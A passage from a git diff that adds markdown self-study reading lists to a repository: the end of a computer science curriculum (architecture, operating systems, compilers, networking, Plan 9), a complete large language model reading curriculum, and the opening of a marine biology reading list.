NP-complete problems. + +### Computer Architecture + +You write C and patch suckless software. Now learn what the hardware is actually doing. + +**Primary texts:** + +- *Computer Organization and Design: The Hardware/Software Interface* by Patterson and Hennessy (RISC-V edition). Covers ISA design, datapath, pipelining, memory hierarchy, I/O. +- *Computer Architecture: A Quantitative Approach* by Hennessy and Patterson, 6th ed. The graduate-level companion. + +**Supplementary:** + +- *Computer Systems: A Programmer's Perspective* (CS:APP) by Bryant and O'Hallaron, 3rd ed. The best book on how C maps to machine code, how the memory hierarchy affects performance, and how linking, exceptions, and virtual memory actually work. The labs are legendary. +- *CODE: The Hidden Language of Computer Hardware and Software* by Charles Petzold. Light reading for building intuition about how logic gates become computers. + +**Course:** + +- Nand2Tetris (nand2tetris.org). Build a computer from NAND gates up through an assembler, VM, compiler, and operating system. Part 1 is the essential one. +- MIT 6.004 Computation Structures (OCW). + +**Project:** Complete Nand2Tetris Part 1. Then write a RISC-V disassembler in C. + +### Operating Systems + +You use Linux daily. Now learn the theory behind what the kernel is doing. + +**Primary texts:** + +- *Operating Systems: Three Easy Pieces* (OSTEP) by Remzi and Andrea Arpaci-Dusseau. Free online (ostep.org). The best modern OS textbook. Three sections: virtualization, concurrency, persistence. +- *Operating System Concepts* by Silberschatz, Galvin, and Gagne (the "Dinosaur Book"). The traditional alternative. Use as reference. + +**Supplementary:** + +- *The Design and Implementation of the FreeBSD Operating System* by McKusick, Neville-Neil, and Watson. A real production Unix kernel. +- *Linux Kernel Development* by Robert Love, 3rd ed. Practical kernel internals. +- *The Design of the UNIX Operating System* by Maurice Bach. The classic. Based on System V but the architectural ideas are timeless. +- *Lions' Commentary on UNIX 6th Edition* by John Lions. Line-by-line walkthrough of the original UNIX kernel source. + +**Course:** + +- MIT 6.828 Operating System Engineering (now 6.1810). Uses xv6. The labs have you implement parts of a real kernel. Gold standard OS course. + +**Papers:** + +- Dennis Ritchie and Ken Thompson, "The UNIX Time-Sharing System" (1974). +- Butler Lampson, "Hints for Computer System Design" (1983). + +**Project:** Work through the xv6 labs from MIT 6.828. Then read the xv6 source in full (only about 6,000 lines). + +--- + +## Phase 3: Systems Depth + +Deeper dives. These can be pursued in parallel. + +### Compilers + +- **Primary:** *Compilers: Principles, Techniques, and Tools* by Aho, Lam, Sethi, and Ullman (the "Dragon Book"), 2nd ed. Lexical analysis, parsing (LL, LR, LALR), syntax-directed translation, intermediate representations, code generation, optimization. +- **Alternative:** *Engineering a Compiler* by Cooper and Torczon, 3rd ed. More modern, stronger on optimization. +- **Practical:** *Crafting Interpreters* by Robert Nystrom. Free online. Build two interpreters: tree-walk in Java, bytecode VM in C. +- **Also:** *Modern Compiler Implementation in C* by Andrew Appel. +- **Course:** Stanford CS 143 Compilers (Alex Aiken, available on edX/Coursera). +- **Paper:** Ken Thompson, "Reflections on Trusting Trust" (1984). The Turing Award lecture. +- **Project:** Build a compiler for a simple C-like language targeting x86-64 or RISC-V. + +### Networking + +- **Primary:** *Computer Networking: A Top-Down Approach* by Kurose and Ross, 8th ed. +- **Deep:** *TCP/IP Illustrated, Volume 1: The Protocols* by W. Richard Stevens. +- **Sockets:** *UNIX Network Programming, Volume 1* by Stevens, Fenner, and Rudoff. +- **Alternative:** *Computer Networks* by Andrew Tanenbaum and David Wetherall, 6th ed. +- **Course:** Stanford CS 144 Introduction to Computer Networking. The labs have you build a TCP implementation from scratch. +- **Project:** Implement a minimal TCP stack in userspace. Or build an HTTP/1.1 server from raw sockets in C. + +### Databases + +- **Primary:** *Database System Concepts* by Silberschatz, Korth, and Sudarshan, 7th ed. Relational model, SQL, normalization, query processing, transaction management, concurrency control, recovery. +- **Papers:** *Readings in Database Systems* (the "Red Book") edited by Bailis, Hellerstein, and Stonebraker, 5th ed. Free online. +- **Architecture:** *Architecture of a Database System* by Hellerstein, Stonebraker, and Hamilton. +- **Bridge:** *Designing Data-Intensive Applications* by Martin Kleppmann. +- **Course:** CMU 15-445/645 Database Systems (Andy Pavlo). Full lectures on YouTube. The BusTub labs are excellent. +- **Project:** Build a simple relational database engine with a B-tree-backed storage engine, SQL parser, and basic query executor. + +--- + +## Phase 4: Advanced Theory and Specialized Topics + +### Programming Language Theory + +- *Structure and Interpretation of Computer Programs* (SICP) by Abelson and Sussman, 2nd ed. Free online. Not a programming book. A book about computational processes, abstraction, and metalinguistic abstraction. Work through at least Chapters 1-4. +- *Types and Programming Languages* (TAPL) by Benjamin Pierce. The standard introduction to type theory. Lambda calculus, simply typed lambda calculus, subtyping, recursive types, polymorphism. +- *Concepts, Techniques, and Models of Computer Programming* by Van Roy and Haridi. Broader view of programming paradigms. +- **Course:** MIT 6.001 (the original SICP lectures by Abelson and Sussman, YouTube). +- **Papers:** + - Alonzo Church, "An Unsolvable Problem of Elementary Number Theory" (1936). Lambda calculus. + - Robin Milner, "A Theory of Type Polymorphism in Programming" (1978). Hindley-Milner type inference. + - Luca Cardelli and Peter Wegner, "On Understanding Types, Data Abstraction, and Polymorphism" (1985). + +### Distributed Systems + +- *Designing Data-Intensive Applications* by Martin Kleppmann. The entry point. +- *Distributed Systems* by Maarten van Steen and Andrew Tanenbaum, 4th ed. Free online. +- *Distributed Algorithms* by Nancy Lynch. The rigorous mathematical treatment. +- **Course:** MIT 6.824 Distributed Systems (now 6.5840). Robert Morris's course. The labs have you build a fault-tolerant key-value store using Raft. + +**Papers (essential reading):** + +- Leslie Lamport, "Time, Clocks, and the Ordering of Events in a Distributed System" (1978). One of the most cited papers in CS. +- Leslie Lamport, "Paxos Made Simple" (2001). 14 pages and actually comprehensible. +- Diego Ongaro and John Ousterhout, "In Search of an Understandable Consensus Algorithm" (2014). The Raft paper. +- Eric Brewer, "CAP Twelve Years Later" (2012). +- Fischer, Lynch, and Paterson, "Impossibility of Distributed Consensus with One Faulty Process" (1985). The FLP impossibility result. +- Jim Gray, "The Transaction Concept: Virtues and Limitations" (1981). + +### Information Theory + +- *Elements of Information Theory* by Cover and Thomas, 2nd ed. The standard graduate text. +- *Information Theory, Inference, and Learning Algorithms* by David MacKay. Free online. Connects information theory to ML and Bayesian inference. +- **Paper:** Claude Shannon, "A Mathematical Theory of Communication" (1948). One of the most important papers in the history of science. + +### Cryptography + +- *Introduction to Modern Cryptography* by Katz and Lindell, 3rd ed. Rigorous, proof-based treatment. +- *Serious Cryptography* by Jean-Philippe Aumasson. More practical. +- *A Graduate Course in Applied Cryptography* by Dan Boneh and Victor Shoup. Free online draft. +- **Course:** Stanford CS 255 (Dan Boneh, available on Coursera). + +--- + +## Plan 9 Track + +A separate track for the Plan 9 enthusiast. Plan 9 represents some of the most coherent systems design thinking ever produced. + +### Essential Papers + +- Rob Pike et al., "Plan 9 from Bell Labs" (1995). The overview paper. Everything is a file, per-process namespaces, network transparency. +- Rob Pike, "The Use of Name Spaces in Plan 9" (1992). How Plan 9's namespace mechanism replaces most of what UNIX uses mount points, environment variables, and symlinks for. +- Rob Pike et al., "The Styx Architecture for Distributed Systems." The 9P protocol is Plan 9's central abstraction. +- Sean Quinlan and Sean Dorward, "Venti: A New Approach to Archival Storage" (2002). Content-addressed archival storage. +- Rob Pike, "Systems Software Research is Irrelevant" (2000). Essential context for why Plan 9 matters. +- Charles Forsyth, "The Organization of Networks in Plan 9" (1995). Network stack as a filesystem. + +### Plan 9 Documentation + +- *The Plan 9 Programmer's Manual* (Volume 1 and 2). Available at plan9.io and 9p.io. Volume 2 contains the system papers. +- *Introduction to Operating Systems Abstractions Using Plan 9 from Bell Labs* by Francisco Ballesteros. +- cat-v.org archives. Extensive collection of Plan 9 documentation, papers, and cultural artifacts. + +### Plan 9 Projects + +- Install 9front on a VM or spare machine. Use it as a daily environment for a week. Write rc scripts. Use acme. +- Read the 9front kernel source. It is small enough to read in its entirety. +- Implement a 9P file server in C or Go. +- Study Go's design influences from Plan 9 (goroutines from Alef, `/proc` filesystem influence, etc.). + +--- + +## Foundational Papers Worth Reading + +These shaped the field. + +- Edsger Dijkstra, "Go To Statement Considered Harmful" (1968). +- Edsger Dijkstra, "The Humble Programmer" (1972). His Turing Award lecture. +- Edsger Dijkstra, EWD 1036 ("On the Cruelty of Really Teaching Computing Science"). +- Tony Hoare, "An Axiomatic Basis for Computer Programming" (1969). Hoare logic. +- Tony Hoare, "Communicating Sequential Processes" (1978). CSP, which directly influenced Go's concurrency model. +- Fred Brooks, "No Silver Bullet" (1987). Essential and accidental complexity. +- Edgar Codd, "A Relational Model of Data for Large Shared Data Banks" (1970). +- Whitfield Diffie and Martin Hellman, "New Directions in Cryptography" (1976). + +--- + +## Practical Projects That Reinforce Theory + +| Project | Theory Reinforced | +|---------|-------------------| +| Build a shell (in C) | Process management, system calls, pipes, file descriptors | +| Build an assembler (Nand2Tetris or RISC-V) | ISA, machine code, symbol resolution | +| Build a CPU in HDL (Nand2Tetris) | Digital logic, computer architecture | +| Build a compiler for a C subset | Lexing, parsing, type checking, code generation | +| Build a TCP stack in userspace | Protocol design, state machines, networking | +| Build a key-value store with WAL | Storage engines, crash recovery, B-trees | +| Build malloc | Virtual memory, fragmentation, system calls | +| Implement Raft consensus | Distributed systems, fault tolerance | +| Build a regex engine | Automata theory, NFAs, DFAs, Thompson construction | +| Write a garbage collector | Memory management, graph traversal, runtime systems | +| Build a simple OS kernel (xv6 labs) | Scheduling, virtual memory, filesystems, interrupts | +| Implement RSA from scratch | Number theory, modular arithmetic | +| Build a DNS resolver | Protocol parsing, UDP, caching, recursion | +| Build a 9P file server | Plan 9 philosophy, protocol design | + +--- + +## Suggested Sequencing + +**Year 1:** +1. Discrete Mathematics (Rosen or Lehman/Leighton/Meyer + MIT 6.042) +2. Data Structures and Algorithms (Skiena + CLRS as reference + MIT 6.006) +3. Computer Architecture (Patterson and Hennessy + Nand2Tetris Part 1) +4. CS:APP (Bryant and O'Hallaron), especially the labs + +**Year 2:** +5. Theory of Computation (Sipser + MIT 18.404) +6. Operating Systems (OSTEP + xv6 labs from MIT 6.828) +7. Networking (Kurose/Ross + Stevens TCP/IP Illustrated) +8. SICP (work through Chapters 1-4) + +**Year 3:** +9. Compilers (Dragon Book or Cooper/Torczon + Crafting Interpreters + build a compiler) +10. Databases (Silberschatz + CMU 15-445 labs) +11. Distributed Systems (Kleppmann + MIT 6.824 labs + the Lamport papers) +12. Programming Language Theory (TAPL) + +**Year 4 (ongoing, self-directed):** +13. Information Theory (Cover and Thomas or MacKay) +14. Cryptography (Katz and Lindell + Boneh's course) +15. Advanced Algorithms (MIT 6.046 + Arora/Barak for complexity) +16. Knuth's TAOCP (ongoing, never finished, that is the point) +17. Plan 9 deep dive (papers, source reading, 9P server implementation) + +--- + +## On Reading Papers + +Do not just read textbooks. The papers listed above are where the ideas actually originated, and they are often clearer than the textbook treatments that came after. Start a paper reading habit: one paper per week, with notes. The two best aggregators are: + +- *Papers We Love* (paperswelove.org). Community-curated collection with discussion groups. +- Adrian Colyer's *The Morning Paper* archives (blog.acolyer.org). A goldmine. + +--- + +## A Note on Depth vs. Breadth + +This list is long. You will not finish it. That is fine. The point is not completion. The point is that when you encounter a concept in your work, you know where to go for the rigorous treatment. The difference between a programmer and a computer scientist is not what they can build. It is what they can prove, what they can reduce, and what they know is impossible. diff --git a/doc/knowledge/llms.md b/doc/knowledge/llms.md new file mode 100644 index 0000000000000000000000000000000000000000..1e6ad058798788018e81aab563d03703abc4fa28 --- /dev/null +++ b/doc/knowledge/llms.md @@ -0,0 +1,234 @@ +# Large Language Models: A Reading Curriculum + +From first principles to current research. This list covers architecture, capabilities, and the broader LLM landscape. Pre-training and post-training each have their own dedicated lists. + +--- + +## Phase 0: Prerequisites + +You need just enough ML/DL fundamentals to not be lost when you open "Attention Is All You Need." Do not spend months here. Get the intuition, move on, and revisit as needed. + +### Neural Network Foundations + +- **3Blue1Brown, "Neural Networks" series (YouTube, 4 videos)** -- The best visual introduction to what neural networks actually compute. Covers neurons, layers, backpropagation, and gradient descent with genuine geometric intuition. Watch all four before touching anything else. + +- **Andrej Karpathy, "The spelled-out intro to neural networks and backpropagation: building micrograd" (YouTube)** -- Builds an autograd engine from scratch in Python. After 3Blue1Brown gives you the pictures, Karpathy gives you the code. You will understand backpropagation mechanistically, not just conceptually. + +- **Andrej Karpathy, "The spelled-out intro to language modeling: building makemore" (YouTube, 5-part series)** -- Builds character-level language models from bigrams through MLPs through RNNs. This is the bridge from "I understand neural networks" to "I understand language modeling." Covers embeddings, softmax, cross-entropy loss, and sampling. + +### Linear Algebra and Probability (Reference) + +- **Mathematics for Machine Learning (Deisenroth, Faisal, Ong) -- Chapters 2-6** -- Free PDF. Use as reference when a paper assumes you know what an eigendecomposition is or how matrix multiplication works in attention. Chapters 2 (linear algebra), 5 (vector calculus), and 6 (probability) are the ones you will actually need. + +### Deep Learning Basics + +- **Deep Learning (Goodfellow, Bengio, Courville) -- Chapters 6-10** -- The standard reference. Chapter 6 (feedforward networks), 8 (optimization), and 10 (recurrent networks) give you the vocabulary that transformer papers assume. Available free online. Skim, do not study. + +--- + +## Phase 1: The Transformer + +### The Paper + +- **Vaswani et al., "Attention Is All You Need" (2017)** -- The foundational paper. Read it once to get the shape, then read it again with the resources below. Pay attention to: multi-head attention, positional encoding, encoder-decoder structure, and the training setup. + +### Visual and Conceptual Guides + +- **Jay Alammar, "The Illustrated Transformer" (blog post)** -- The single best companion piece to the original paper. Walks through the architecture with diagrams that make the data flow legible. Read this side-by-side with the paper. + +- **Jay Alammar, "The Illustrated GPT-2" (blog post)** -- Extends the transformer explanation to decoder-only autoregressive models. Important because most modern LLMs are decoder-only, not encoder-decoder. + +- **Jay Alammar, "Visualizing A Neural Machine Translation Model" (blog post)** -- Covers the attention mechanism with animations. Useful if the attention diagrams in the original paper feel static. + +- **Lilian Weng, "The Transformer Family" (blog post, updated versions)** -- A comprehensive catalog of transformer variants and modifications. Good as a map of the territory once you understand the base architecture. + +### Build It Yourself + +- **Andrej Karpathy, "Let's build GPT: from scratch, in code, spelled out" (YouTube)** -- Builds a GPT from an empty file. The single most important resource on this list. After watching this, you will understand tokenization, attention, layer norms, residual connections, and text generation at the level of individual tensor operations. Do not skip this. + +- **Andrej Karpathy, "Let's build the GPT Tokenizer" (YouTube)** -- Companion to the above. Tokenization determines what the model can and cannot represent. Byte-pair encoding, the vocabulary, special tokens. + +--- + +## Phase 2: Key Architectures + +Read these in roughly chronological order. Each paper represents a distinct design choice that shaped the field. + +### The GPT Line (Decoder-Only, Autoregressive) + +- **Radford et al., "Improving Language Understanding by Generative Pre-Training" (2018) -- GPT-1** -- Established that unsupervised pre-training on text followed by supervised fine-tuning works remarkably well. Short paper, historically important. + +- **Radford et al., "Language Models are Unsupervised Multitask Learners" (2019) -- GPT-2** -- The key insight: scale up the model and data, and the model learns to perform tasks without explicit fine-tuning. Introduced zero-shot task performance. + +- **Brown et al., "Language Models are Few-Shot Learners" (2020) -- GPT-3** -- 175B parameters. Demonstrated in-context learning: the model can perform new tasks given only a few examples in the prompt, with no gradient updates. Read carefully, especially the few-shot evaluation methodology. + +- **OpenAI, "GPT-4 Technical Report" (2023)** -- Light on architecture details but important for understanding capability evaluations, safety testing, and how frontier models are assessed. + +### The Encoder Models + +- **Devlin et al., "BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding" (2018)** -- Bidirectional attention via masked language modeling. Important to understand even though the field moved toward decoder-only models, because BERT-style encoders are still used for embeddings and classification. + +### Encoder-Decoder + +- **Raffel et al., "Exploring the Limits of Transfer Learning with a Unified Text-to-Text Transfer Framework" (2020) -- T5** -- Reframes every NLP task as text-to-text. Also a massive ablation study of pre-training objectives, architectures, and data. Long but extremely informative. + +### The Open-Weight Era + +- **Touvron et al., "LLaMA: Open and Efficient Foundation Language Models" (2023)** -- Showed that smaller models trained on more data can match or beat larger models trained on less data. Launched the open-source LLM ecosystem. + +- **Touvron et al., "Llama 2: Open Foundation and Fine-Tuned Chat Models" (2023)** -- Covers both pre-training and the RLHF pipeline. Important for understanding the full stack from base model to chat model. + +### Mixture of Experts + +- **Shazeer et al., "Outrageously Large Neural Networks: The Sparsely-Gated Mixture-of-Experts Layer" (2017)** -- The original MoE paper for neural networks. Conditional computation: not all parameters are active for every input. + +- **Jiang et al., "Mixtral of Experts" (2024)** -- Applies sparse MoE to the transformer architecture cleanly. MoE is increasingly the dominant scaling strategy. + +- **DeepSeek-AI, "DeepSeek-V2: A Strong, Economical, and Efficient Mixture-of-Experts Language Model" (2024)** -- Multi-head latent attention and DeepSeekMoE architecture. Frontier of efficient MoE design. + +--- + +## Phase 3: Scaling Laws + +These papers answer the question: if you have a fixed compute budget, how should you allocate it between model size and data? + +- **Kaplan et al., "Scaling Laws for Neural Language Models" (2020)** -- Empirically establishes power-law relationships between compute, dataset size, model size, and loss. The paper that made "scaling" a research program. + +- **Hoffmann et al., "Training Compute-Optimal Large Language Models" (2022) -- Chinchilla** -- Revises the Kaplan scaling laws. Key finding: most large models are significantly undertrained. This paper directly caused the shift toward smaller models with more data. + +- **Muennighoff et al., "Scaling Data-Constrained Language Models" (2023)** -- What happens when you run out of unique training data? Covers data repetition, data quality vs. quantity, and code data. + +--- + +## Phase 4: Emergent Abilities and In-Context Learning + +- **Wei et al., "Emergent Abilities of Large Language Models" (2022)** -- Documents capabilities that appear suddenly as models scale, rather than improving gradually. Controversial but important. + +- **Schaeffer et al., "Are Emergent Abilities of Large Language Models a Mirage?" (2023)** -- The counterargument: emergence may be an artifact of the metrics chosen. Read both this and the Wei et al. paper. + +- **Olsson et al., "In-context Learning and Induction Heads" (2022) -- Anthropic** -- A mechanistic account of how in-context learning actually works inside the transformer. One of the best examples of mechanistic interpretability producing genuine insight. + +- **Garg et al., "What Can Transformers Learn In-Context? A Case Study of Simple Function Classes" (2022)** -- Formalizes in-context learning as implicit Bayesian inference. + +--- + +## Phase 5: Prompting and Reasoning + +- **Wei et al., "Chain-of-Thought Prompting Elicits Reasoning in Large Language Models" (2022)** -- Showed that prompting the model to "think step by step" dramatically improves performance on reasoning tasks. + +- **Kojima et al., "Large Language Models are Zero-Shot Reasoners" (2022)** -- The "Let's think step by step" paper. Shows that chain-of-thought works even without few-shot examples. + +- **Wang et al., "Self-Consistency Improves Chain of Thought Reasoning in Language Models" (2023)** -- Sample multiple reasoning paths and take the majority vote. + +- **Yao et al., "Tree of Thoughts: Deliberate Problem Solving with Large Language Models" (2023)** -- Extends chain-of-thought to tree search over reasoning paths. + +- **Zhou et al., "Large Language Models Are Human-Level Prompt Engineers" (2023) -- APE** -- Automated prompt optimization. Reframes prompt engineering from art to optimization problem. + +--- + +## Phase 6: Tool Use and Agents + +- **Schick et al., "Toolformer: Language Models Can Teach Themselves to Use Tools" (2023)** -- Models learn to call APIs by self-supervising on which tool calls improve predictions. Foundational paper for tool-augmented LLMs. + +- **Yao et al., "ReAct: Synergizing Reasoning and Acting in Language Models" (2023)** -- Interleaves reasoning traces with actions. The reasoning-action loop that most agent frameworks are built on. + +- **Shinn et al., "Reflexion: Language Agents with Verbal Reinforcement Learning" (2023)** -- Agents that reflect on their failures and improve. + +- **Anthropic, "Computer Use" documentation and research (2024-2025)** -- Models that can operate computer interfaces directly. Important for understanding where tool use is heading. + +--- + +## Phase 7: Multimodality + +- **Radford et al., "Learning Transferable Visual Models From Natural Language Supervision" (2021) -- CLIP** -- Contrastive learning between images and text. The foundation for connecting vision and language. + +- **Alayrac et al., "Flamingo: a Visual Language Model for Few-Shot Learning" (2022)** -- Interleaves visual and textual inputs in a frozen LLM. Important architecture for understanding how vision gets integrated into language models. + +- **Liu et al., "Visual Instruction Tuning" (2023) -- LLaVA** -- Simple and effective approach to building vision-language models. + +- **OpenAI, "GPT-4V(ision) System Card" (2023)** -- Documents capabilities and limitations of multimodal frontier models. + +- **Team et al., "Gemini: A Family of Highly Capable Multimodal Models" (2024)** -- Natively multimodal from pre-training. Represents the direction the field is moving. + +--- + +## Phase 8: Evaluation and Benchmarks + +Understanding how models are measured is as important as understanding how they work. + +- **Liang et al., "Holistic Evaluation of Language Models" (2022) -- HELM** -- Comprehensive evaluation framework covering accuracy, calibration, robustness, fairness, efficiency, and more. + +- **Hendrycks et al., "Measuring Massive Multitask Language Understanding" (2021) -- MMLU** -- 57-subject multiple choice benchmark. Widely used, widely criticized, still the default reference point. + +- **Cobbe et al., "Training Verifiers to Solve Math Word Problems" (2021) -- GSM8K** -- Grade school math benchmark. Clean testbed for measuring reasoning vs. pattern matching. + +- **Chen et al., "Evaluating Large Language Models Trained on Code" (2021) -- HumanEval** -- Code generation benchmark. Either the code runs or it does not. + +- **Zheng et al., "Judging LLM-as-a-Judge with MT-Bench and Chatbot Arena" (2023)** -- Using LLMs to evaluate LLMs, plus the Elo-based Chatbot Arena. + +--- + +## Ongoing Reading: Blogs and Research Outlets + +### Individual Researchers + +- **Lilian Weng's Blog (lilianweng.github.io)** -- Extraordinarily thorough survey posts. Start with "Prompt Engineering" and "LLM Powered Autonomous Agents." + +- **Jay Alammar's Blog (jalammar.github.io)** -- Visual explanations of architectures. + +- **Sebastian Raschka's Blog and Newsletter** -- Practical and rigorous. Good coverage of fine-tuning techniques, model comparisons, and new developments. + +### Lab Blogs + +- **Anthropic Research Blog (anthropic.com/research)** -- Interpretability, scaling, safety, and model behavior. Some of the most careful empirical work on LLM behavior. + +- **OpenAI Research Blog (openai.com/research)** -- New model releases, safety research, and capability demonstrations. + +- **Google DeepMind Blog** -- Gemini, scaling research, and multimodality. + +- **Meta AI Blog (ai.meta.com/blog)** -- LLaMA releases, open-weight model research, and infrastructure papers. + +### Aggregators + +- **The Gradient (thegradient.pub)** -- Long-form essays on ML research. Higher signal-to-noise ratio than most outlets. + +- **Papers With Code (paperswithcode.com)** -- Tracks state-of-the-art results by task. + +--- + +## Practical Resources + +- **Hugging Face NLP Course (huggingface.co/learn/nlp-course)** -- Free course covering tokenizers, transformers, fine-tuning, and deployment. Where theory meets practice. + +- **Hugging Face Transformers Documentation** -- The reference for actually using transformer models. Read the conceptual guides, not just the API docs. + +- **Andrej Karpathy, "nanoGPT" (GitHub repository)** -- A minimal, readable GPT implementation. Train a small model on your own data. + +- **Anthropic's Prompt Engineering Guide (docs.anthropic.com)** -- Practical prompting techniques with worked examples. + +--- + +## Suggested Reading Order + +For someone starting from zero: + +1. 3Blue1Brown neural network videos +2. Karpathy's micrograd lecture +3. Karpathy's makemore series (at least parts 1-3) +4. "Attention Is All You Need" + Jay Alammar's Illustrated Transformer (together) +5. Karpathy's "Let's build GPT" video +6. GPT-2 paper + Jay Alammar's Illustrated GPT-2 +7. GPT-3 paper (focus on few-shot learning sections) +8. BERT paper (understand the alternative, then understand why the field moved past it) +9. Kaplan scaling laws, then Chinchilla +10. LLaMA paper +11. Chain-of-thought paper (Wei et al.) +12. In-context learning and induction heads (Olsson et al.) +13. Mixtral paper +14. Lilian Weng's blog posts on agents and prompt engineering +15. Tool use papers (Toolformer, ReAct) +16. CLIP, then LLaVA +17. Evaluation papers (HELM, MMLU) +18. Hugging Face NLP course (parallel with reading, for hands-on practice) + +After completing this sequence, you will be able to read current LLM research papers without needing to stop and look up every third concept. diff --git a/doc/knowledge/marine-biology.md b/doc/knowledge/marine-biology.md new file mode 100644 index 0000000000000000000000000000000000000000..cf2b8d2b366949e17a92465a14605278abb67b8c --- /dev/null +++ b/doc/knowledge/marine-biology.md @@ -0,0 +1,261 @@ +# Marine Biology Reading List + +**Goal:** Reach the working knowledge of a strong first-year marine biology student, starting from zero biology but with mathematical maturity. You should be able to hold your own in conversation with marine biologists, read primary literature with a dictionary handy, and understand why the field's current problems matter. + +**Estimated timeline:** 6-9 months at 8-10 hours/week. The prerequisites can be compressed hard given your math background. + +--- + +## Part 0: Prerequisites + +You need three legs to stand on before marine biology makes sense: biology, chemistry, and earth science. You do not need full courses in any of these. You need targeted, efficient coverage. + +### 0.1 General Biology Fundamentals + +You need: cell structure, metabolism (photosynthesis and respiration at the equation level), genetics basics, evolution by natural selection, taxonomy/phylogenetics, and ecological principles. + +**Primary text:** + +- **Campbell Biology** (Reece et al.) -- Chapters 1-5 (chemistry of life, cell structure), 6-10 (metabolism, photosynthesis, respiration), 22-26 (evolution, phylogenetics), 52-56 (ecology). Skip the rest. A math person can move through these chapters in 3-4 weeks. If Campbell feels too heavy, use **Alberts et al., "Essential Cell Biology"** for the cell/molecular chapters only. + +**Supplementary:** + +- **MIT OpenCourseWare 7.013** (Introductory Biology) -- Eric Lander and Robert Weinberg. Watch the lectures on genetics, evolution, and ecology. Skip the molecular biology deep dives. +- **Khan Academy Biology** -- Use as reference when a concept is unclear. + +### 0.2 General Chemistry + +You need: atomic structure, chemical bonding, acids/bases/pH, solutions and solubility, gas laws (for dissolved gases), and basic thermodynamics. + +**Primary text:** + +- **Zumdahl & Zumdahl, "Chemistry"** -- Chapters 1-6 (atoms, bonding, stoichiometry), 10 (solutions), 14-15 (acids/bases, equilibrium), 5 (gases). Focus on building chemical intuition: why does CO2 dissolve in water to form carbonic acid? Why does salinity affect freezing point? + +**Supplementary:** + +- **Crash Course Chemistry** (YouTube, Hank Green) -- 46 short episodes. Good for rapid review. + +### 0.3 Basic Oceanography and Earth Science + +You need: plate tectonics, the water cycle, atmospheric circulation basics, and geological time. + +**Primary text:** + +- **Garrison, "Oceanography: An Invitation to Marine Science"** (9th ed. or later) -- Serves double duty. Read chapters 1-8 (history of oceanography, plate tectonics, ocean basins, water properties, atmospheric circulation, ocean circulation, waves, tides) first. Return to the biology chapters later. Garrison strikes the best balance between accessibility and rigor. The diagrams of thermohaline circulation and Ekman transport are clearer than in competing texts. + +--- + +## Part 1: Core Marine Biology + +### 1.1 Textbooks (Pick One Primary, Consult the Others) + +**Primary recommendation:** + +- **Castro & Huber, "Marine Biology"** (12th ed. or later) -- The most accessible of the three. Excellent photographs, clear prose, good coverage of organisms and ecosystems. Organized by environment (intertidal, pelagic, deep sea, etc.) which maps well to how marine biologists actually think. Best starting point. + +**Reference texts:** + +- **Nybakken & Bertness, "Marine Biology: An Ecological Approach"** (7th ed.) -- The most ecological. Stronger on community ecology, zonation patterns, food web dynamics, and quantitative relationships. The chapter on the deep sea is outstanding. + +- **Levinton, "Marine Biology: Function, Biodiversity, Ecology"** (6th ed.) -- The most rigorous and closest to graduate-level. Stronger on evolutionary biology, functional morphology, and biogeography. The sections on larval ecology and recruitment are unmatched. + +### 1.2 Topic-by-Topic Guide + +#### Marine Organisms by Major Group + +- **Phytoplankton and primary producers:** Diatoms, dinoflagellates, coccolithophores, cyanobacteria, macroalgae (kelp, seagrass). Phytoplankton produce roughly half of Earth's oxygen. Read Nybakken for the ecological perspective. + +- **Zooplankton:** Copepods, krill, jellyfish, larval forms. Understand meroplankton (temporary plankton, larval stages) vs. holoplankton (permanent plankton). This distinction matters enormously for community dynamics. + +- **Marine invertebrates:** Cnidaria (corals, anemones, jellyfish), Mollusca (bivalves, gastropods, cephalopods), Crustacea, Echinodermata, Annelida, Porifera. The bulk of marine biodiversity. Levinton is strongest here. For deeper anatomy and phylogenetics: **Ruppert, Fox & Barnes, "Invertebrate Zoology"** (reference only). + +- **Fish:** Chondrichthyes (sharks, rays) and Osteichthyes (bony fish). Osmoregulation, swim bladder physics, lateral line system, schooling behavior. For sharks: electroreception (ampullae of Lorenzini) and conservation crisis. + +- **Marine mammals:** Cetaceans (whales, dolphins), pinnipeds (seals, sea lions, walruses), sirenians (manatees, dugongs), sea otters, polar bears. Key topics: thermoregulation, diving physiology (mammalian dive reflex), echolocation, keystone species (sea otters in kelp forests). + +- **Seabirds and sea turtles:** Roles in nutrient transport (guano fertilization), migration patterns, conservation status. + +#### Marine Ecosystems + +For each: physical conditions, characteristic organisms, food web structure, zonation patterns, major threats. + +- **Intertidal zone:** Zonation (splash, high, mid, low), wave exposure gradients, keystone predation (Paine's starfish removal experiments), desiccation stress. Nybakken's chapter is the best treatment in any intro text. + +- **Coral reefs:** Coral-zooxanthellae symbiosis (understand this thoroughly -- central to understanding bleaching), reef types (fringing, barrier, atoll -- Darwin's subsidence theory), biodiversity patterns, reef fish ecology, the coral triangle. + +- **Kelp forests:** Three-dimensional structure, sea otter-urchin-kelp trophic cascade (textbook example of top-down control), productivity, threats from urchin barrens. + +- **Pelagic (open ocean):** Epipelagic, mesopelagic, bathypelagic, abyssopelagic zones. Diel vertical migration (the largest migration on Earth, happening every day). Primary productivity. Oligotrophic gyres. The biological pump. + +- **Deep sea:** Hydrothermal vents and chemosynthesis, cold seeps, abyssal plains, hadal zone. Adaptations to pressure, darkness, and food scarcity. Bioluminescence. MBARI YouTube channel is essential viewing. + +- **Estuaries:** Salinity gradients, high productivity, nursery habitat function, brackish water adaptations. + +- **Mangroves:** Root structure and sediment stabilization, nursery habitat, carbon sequestration ("blue carbon"), tropical distribution, threats from coastal development. + +- **Polar seas:** Sea ice ecosystems, ice algae, krill-whale food chains, the Southern Ocean's role in global circulation, Arctic warming. + +#### Marine Ecology + +- **Food webs and trophic levels:** Energy transfer efficiency (~10% per level), microbial loop (dissolved organic matter recycled by bacteria, consumed by protists -- discovered in the 1980s, changed how we understand marine productivity). + +- **Primary productivity:** Factors controlling it (light, nutrients, temperature), spring bloom dynamics, upwelling zones as hotspots, the paradox of the plankton (Hutchinson's classic problem: how do so many species coexist competing for the same resources?). + +- **Nutrient cycling:** Nitrogen cycle in the ocean (fixation, nitrification, denitrification), phosphorus, silica (critical for diatoms), iron limitation (HNLC regions and iron fertilization experiments). + +- **Trophic cascades:** Top-down vs. bottom-up control. Classic examples: sea otter removal leading to urchin barrens, shark declines and mesopredator release, whale falls as localized ecosystems. + +**Key paper:** Paine, R.T. (1966). "Food Web Complexity and Species Diversity." *The American Naturalist* 100(910): 65-75. Introduced the keystone species concept. + +#### Physical Oceanography + +Garrison covers this well, supplement with: + +- **Currents:** Surface 